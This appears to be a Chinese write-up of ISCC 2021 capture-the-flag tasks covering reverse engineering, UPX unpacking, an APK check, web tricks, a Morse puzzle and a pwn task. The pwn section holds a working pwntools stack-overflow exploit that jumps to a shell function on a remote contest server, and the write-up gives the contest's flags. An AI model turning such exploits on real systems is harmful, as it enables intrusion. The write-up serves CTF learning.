ISCC的wp,沒想着打這比賽,就是單純來看看題嘿嘿 😃
后面太忙就沒怎么看了,下了題目有空回來做一下。老規矩,標了TO DO的是還沒寫完的(。
REVERSE
[練武題 50pt] Garden
拿上手還以為有pyc混淆,結果一uncompyle6居然沒報錯,好吧應該是簽到題了。
反編譯出的源碼:
# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.17 (default, Sep 30 2020, 13:38:04)
# [GCC 7.5.0]
# Embedded file name: garden.py
# Compiled at: 2021-02-28 12:29:29
import platform, sys, marshal, types
def check(s):
f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'
if len(s) != len(f):
return False
checksum = 0
for a, b in zip(f, s):
checksum += ord(b) ^ ord(a) ^ 123
return checksum == 0
if sys.version_info.major != 2 or sys.version_info.minor != 7:
sys.exit('\xe8\xaf\x95\xe8\xaf\x95 Python 2.7.')
if len(sys.argv) != 2:
sys.exit('usage: bronze.pyc <flag>')
flag = sys.argv[1]
if len(flag) >= 32:
print '\xe5\xa4\xaa\xe9\x95\xbf\xe4\xba\x86.'
sys.exit(1)
alphabet = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+')
for ch in flag:
if ch not in alphabet:
print '\xe4\xb8\x8d\xe5\xaf\xb9.'
sys.exit(1)
if check(flag):
print '\xe5\xb0\xb1\xe6\x98\xaf\xe8\xbf\x99\xe4\xb8\xaa!'
sys.exit(0)
else:
print '\xe6\x90\x9e\xe9\x94\x99\xe4\xba\x86.'
sys.exit(1)
# okay decompiling garden.pyc
既然是簽到題那可以大膽地猜測每一個ord(b) ^ ord(a) ^ 123都等於0(即checksum一直不變),也就是說ord(b)=ord(a)^123
,直接寫exp:
s='2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'
flag=''
for c in s:
flag+=chr(ord(c)^123)
print(flag)
拿到flag:ISCC{Makka2021Pakka}
TO DO [練武題 350pt] 無法注冊的程序
這道題感覺是去年XNUCA初賽的MFC原題unravelmfc(wp可見2020XNUCA Reverse 部分Writeup | feng's blog)= =當時第一次接觸MFC逆向還是挺印象深刻的。
(回頭復現一下
[擂台題 150pt] 匯編大人,時代變了
感覺是送分題?flag不難拿,但是最后有個點感覺一直很奇怪ummm
.ll
后綴的文件查了一下是LLVM指令集,可以見LLVM IR / LLVM指令集入門_Canliture-CSDN博客,但是在決定死磕手動反編譯之前還是得掙扎一下看有沒有工具能直接反編譯。
經過不懈搜索看到了c++ - llvm ir back to human-readable source language? - Stack Overflow,但安裝完llvm以后才知道llc的-march=c
參數在2016年就已經被remove了()
然后看到了這個0.LLVM安裝及工具鏈 | 胡君的個人博客,發現了另外一條路:
逆向分析elf,這不就是re手的日常嗎?果斷下手。
先通過sudo apt install llvm clang
把LLVM的套件裝上,然后依次輸入:
llc task.ll -o task.s
gcc -c task.s -o task.o
gcc task.o -o task
但是走最后一步會報錯:
估計是缺什么庫吧,懶得裝了,直接用ida分析task.o
(反正分析效果差不多
可以看到主函數邏輯挺明顯的了,把printf的兩個數組轉string以后就更明顯:
檢查長度對了以后走紅色框或者藍色框的邏輯,最后輸出s。
紅色框部分涉及到的數組都是已知數組,可以很輕松地算出s,這種套路一看就是fake flag(還去算了一下
所以就是要過check,進而走到藍色部分才能拿到真flag。
check部分:
也就是說要讓s[i]^s[(i+1)%strlen(what)]==what[i]
,而strlen(what)==56
。
列舉出來大概是
s[0]^s[1]==what[0]
s[1]^s[2]==what[1]
...
s[54]^s[55]==what[54]
s[55]^s[0]==what[55]
好了,疑惑點就來了,如果把左邊的都xor起來,然后右邊也全xor,理論上說兩邊應該是相等的,即s[0]^s[1]^s[1]^s[2]^...^s[54]^s[55]^s[55]^s[0]==what[0]^what[1]^...^what[54]^what[55]
,而左邊因為每一項都出現了兩次所以最后結果必然是0,但是右邊算了一下並不會等於0:
就很離譜(……)
所以干脆直接爆破,遍歷256次找都是可見字符的flag:
secret=[0x42, 0x0A, 0x7C, 0x5F, 0x22, 0x06, 0x1B, 0x67, 0x37, 0x23, 0x5C, 0x46, 0x0A, 0x29, 0x09, 0x30, 0x51, 0x38, 0x5F, 0x7B, 0x59, 0x13, 0x18, 0x0D, 0x50]
flag=[0x1D, 0x55, 0x23, 0x68, 0x4A, 0x37, 0x2E, 0x38, 0x06, 0x16, 0x03, 0x72, 0x55, 0x4F, 0x3D, 0x5B, 0x62, 0x67, 0x39, 0x4A, 0x6D, 0x74, 0x47, 0x74, 0x60, 0x37, 0x55, 0x0B, 0x6E, 0x4E, 0x6A, 0x44, 0x01, 0x03, 0x12, 0x30, 0x19, 0x3B, 0x4F, 0x56, 0x49, 0x61, 0x4D, 0x00, 0x08, 0x2C, 0x71, 0x75, 0x3C, 0x67, 0x1D, 0x3B, 0x4B, 0x00, 0x7D, 0x59]
what=[0x64, 0x4E, 0x6C, 0x2E, 0x1E, 0x36, 0x38, 0x04, 0x44, 0x12, 0x1C, 0x24, 0x5C, 0x59, 0x3D, 0x0B, 0x5A, 0x78, 0x08, 0x09, 0x76, 0x70, 0x79, 0x33, 0x13, 0x16, 0x20, 0x7E, 0x6B, 0x23, 0x36, 0x45, 0x07, 0x11, 0x2C, 0x22, 0x4A, 0x4A, 0x4F, 0x2E, 0x48, 0x4C, 0x7C, 0x3E, 0x11, 0x0F, 0x6A, 0x18, 0x37, 0x42, 0x1E, 0x2B, 0x12, 0x03, 0x5A, 0x47]
###### fake flag
# ans=''
# for i in range(len(what)):
# ans+=chr(flag[i]^secret[i%len(secret)])
# print(ans)
for x in range(256):
ans=[x]
for i in range(1,len(what)):
ans.append(ans[i-1]^what[i-1])
for i in range(len(ans)):
ans[i]^=secret[i%len(secret)]
if ans[i] not in range(32,127): # 可見字符范圍
break
else:
myFlag=''.join(map(chr,ans))
print("ISCC{"+myFlag+"}")
可以看到:
這就是我們的flag:ISCC{mAy6e_t0d4Y_7H15_ls_tH3_10n8est_f14g_Y0_HaD_Ev3R_5e3n_!_}
[擂台題 150pt] Greedy Snake
拖入ida發現報錯The imports segment seems to be destroyed. This MAY mean that the file was packed or otherwise modified in order to make it more difficult to analyze. If you want to see the imports segment in the original form, please reload it with the 'make imports section' checkbox cleared.
。
猜測有殼,用ExEinfoPE一查果然有upx殼
然鵝並不能一鍵脫,報錯CantUnpackException: file is modified/hacked/protected; take care!!!
,應該是文件加殼后又加了混淆,搜到了這一篇:UPX防脫殼機脫殼、去除特征碼、添加花指令小探 - 『脫殼破解區』 - 吾愛破解。
查看程序的區段名發現果然有改:
用010Editor改區段名:
除此之外還有這里被魔改的UPX!
:
改完這兩個地方終於可以脫殼了(upx -d
):
用ida看脫殼后的程序:
主函數有puts,直接查看交叉引用,能看到flag_check()
函數:
這就是出flag的地方,可以說邏輯非常明顯了,base64甚至沒有換表,xor處理部分根據xor的特性把加密流程重新走一遍就好。
寫exp:
import base64
res="QFpKSnJWXFlRKFY8PFY8OVY8MVY9Z21WSz08bCJROVt0"
b64res=base64.b64decode(res).decode()
l=list(map(ord,b64res))
for i in range(1,11):
for j in range(len(l)):
if len(l)%i!=0:
l[j]^=i
else:
l[j]^j
flag=''.join(map(chr,l))
print(flag)
flag:ISCC{_UPX!_55_50_58_4nd_B45e+X0R}
MOBILE
[練武題 100pt] Mobile Easy
一個java層的apk題,甚至不用看so,用JEB反編譯可以看到關鍵check函數是getflag()
藍框就是我們需要到達的地方
所以flag經過first.firstStr()
處理后的形式是ISCC{xxxxxxxxxxyyyyyyyy}
。
xxxxxxxxxx
經過second.secondStr()
的check,yyyyyyyy
則經過third.thirdStr()
的check。
先看second.secondStr()
,可以看到是一個ECB模式的AES,密文是b64decode("9z2ukkD3Ztxhj+t/S1x1Eg==")
,密鑰是b'1234567890123456'
。
至於是加密還是解密,可以看到v7.init(2, ((Key)v6))
,而查常量有:
所以這里是AES解密,就得到了前半部分的處理后字符串,注意最后要將空格替換掉。
再看third.thirdStr(v2_1)
:
public static boolean thirdStr(String arg14) {
int v1 = 8;
if(arg14.length() != v1) {
return 0;
}
int v0 = arg14.charAt(0);
int v4 = arg14.charAt(1);
int v5 = arg14.charAt(2);
int v6 = arg14.charAt(3);
int v7 = 4;
int v8 = arg14.charAt(v7);
int v9 = arg14.charAt(5);
int v10 = arg14.charAt(6);
int v12 = arg14.charAt(7);
if(v0 % 8 == 7) {
if(v0 % 9 != v1) {
}
else {
int v11 = 100;
if(v4 - 3 != v11) {
return 0;
}
else if((v5 ^ 93) != v11) {
return 0;
}
else if(v5 * 2 - 10 != v6) {
return 0;
}
else if(v8 + 1 != 120) {
return 0;
}
else if((v9 ^ v10) != 56) {
return 0;
}
else {
if(v9 - v10 == 24) {
if(v10 - v12 != v7) {
}
else if(v12 != 80) {
return 0;
}
else {
return 1;
}
}
return 0;
}
}
}
return 0;
}
也就是說arg14=''.join(map(chr,[v0,v4,v5,v6,v8,v9,v10,v12]))
可以輕松分析出:
v0 % 8 == 7
v0 % 9 == v1 #v1=8
v4 - 3 == v11 #v11=100
v5 ^ 93 == v11 #v11=100
v5 * 2 - 10 == v6
v8 + 1 == 120
(v9 ^ v10) == 56
v9 - v10 == 24
v10 - v12 == v7 #v7=4
v12 == 80
所以可以得出在可見字符范圍內后半部分的值是Gg9hwlTP
(過程統一放本題最后的exp里)。
最后分析first.firstStr()
:
就是一堆replace而已,逆向的話把替換前替換后反過來就好。
所以有整道題的exp:
### 前半部分
import base64
from Crypto.Cipher import AES
key=b'1234567890123456'
aes=AES.new(key,AES.MODE_ECB)
cipher=base64.b64decode(b'9z2ukkD3Ztxhj+t/S1x1Eg==')
text=aes.decrypt(cipher)
flag1=text.decode().replace(' ','')
# print(flag1)
### 后半部分
v1=8
v11=100
v7=4
v12=80
v10=v12+v7
v9=56^v10
v8=120-1
v4=v11+3
v5=v11^93
v6=v5*2-10
for v0 in range(32,127):
if v0%8==7 and v0%9==v1:
l=[v0,v4,v5,v6,v8,v9,v10,v12]
flag2=''.join(map(chr,l))
break
# print(flag2)
### replace處理
flag="ISCC{"+flag1+flag2+"}"
flag=flag.replace("dN","B1").replace("8","_").replace("P","!").replace("hwl","rea").replace('u','1').replace("+","m")
print(flag)
flag:ISCC{m0B1lE_1s_Gg9reaT!}
WEB
[練武題 50pt] ISCC客服沖沖沖(一)
改前端代碼這兩個地方,讓左右元素的id互換,等完20s就好:
拿到flag
flag:ISCC{1SCC_2o2l_KeFuu}
[練武題 50pt] 這是啥
F12
能看到一個display:none;
的元素,這一看就是JSFuck(
復制到控制台運行一下就好
比較坑的是這里不能直接復制交flag,flag格式是大寫的ISCC(……)
即:ISCC{what_is*_jsJS&}
MISC
[練武題 50pt] Retrieve the passcode
解壓得到一個壓縮包和一個txt,壓縮包解密要密碼,所以從txt下手。
txt名字是scatter
,這個剛好跟繪制散點圖的函數同名,猜測每個分號間隔的是每個點的三維坐標,然后按x:y:z
的順序記錄。
可以觀察得到所有的z坐標都是1,所以可以直接不要,用python畫出散點圖:
import matplotlib.pyplot as plt
with open('scatter.txt','r') as f:
points=[x[:-2].replace(':',',') for x in f.read().replace('\n','').split(';')]
exec("points_list=[("+'),('.join(points)+")]")
x=[t[0] for t in points_list]
y=[t[1] for t in points_list]
plt.scatter(x,y)
plt.axis("equal")
plt.show()
由圖像可以看到密碼是365728
,解開rar包,看到是pdf,電腦圖案這里有一堆的點橫,摩斯電碼既視感。
先用python解:
MorseList={
".-": "A", "-...": "B", "-.-.": "C", "-..": "D", ".": "E", "..-.": "F", "--.": "G",
"....": "H", "..": "I", ".---": "J", "-.-": "K", ".-..": "L", "--": "M", "-.": "N",
"---": "O", ".--.": "P", "--.-": "Q", ".-.": "R", "...": "S", "-": "T",
"..-": "U", "...-": "V", ".--": "W", "-..-": "X", "-.--": "Y", "--..": "Z"}
code="-.-. --- -. --. .-. .- - ..- .-.. .- - .. --- -. - .... . ..-. .-.. .- --. .. ... -.-. .... .- .-.. .-.. . -. --. . .. ... -.-. -.-. - .-- --- --.. . .-. --- - .-- --- --- -. ."
l=code.split(" ")
flag=''
for x in l:
flag+=MorseList[x]
print(flag.lower())
得到:
congratulation the flag is challenge iscc two zero two one
題目描述說是小寫字符串,不包括空格,所以拿到flag:ISCC{congratulationtheflagischallengeiscctwozerotwoone}(一開始被分詞坑了= =沒想到一整句都是flag)
PWN
[練武題 50pt] M78
用ida打開,可以看到邏輯很簡單,主要是走explore()
函數。
read這邊有限定字符數沒有棧溢出,但是最后return check(buf)
這里strcpy()
沒有檢查長度,簡單棧溢出。
現在只要繞過strlen()
就可,而v3是一字節的char,可以通過截取高位溢出繞過(也就是說構造一個長度為0x100+7的字符串發送即可)。
然后翻函數表可以看到這個get shell的函數,地址是0x8049202
:
所以寫exp有:
#!/usr/bin/env python
# ------ Python2 ------
from __future__ import print_function
from pwn import *
# context.log_level='debug'
# r=process("./M78")
host="39.96.88.40"
port=7010
r=remote(host,port)
r.recvuntil('?')
r.sendline('1')
r.recvuntil('building')
r.sendline('aaa') #隨便填
r.recvuntil('password')
getShell_addr=0x8049202
payload='a'*0x18+'b'*4+p32(getShell_addr)
payload=payload.ljust(256+7-1,'c') #記得算上最后的換行符
r.sendline(payload)
r.interactive()
成功打通~
拿到flag:flag{N@x_addr_*EnaBleD%}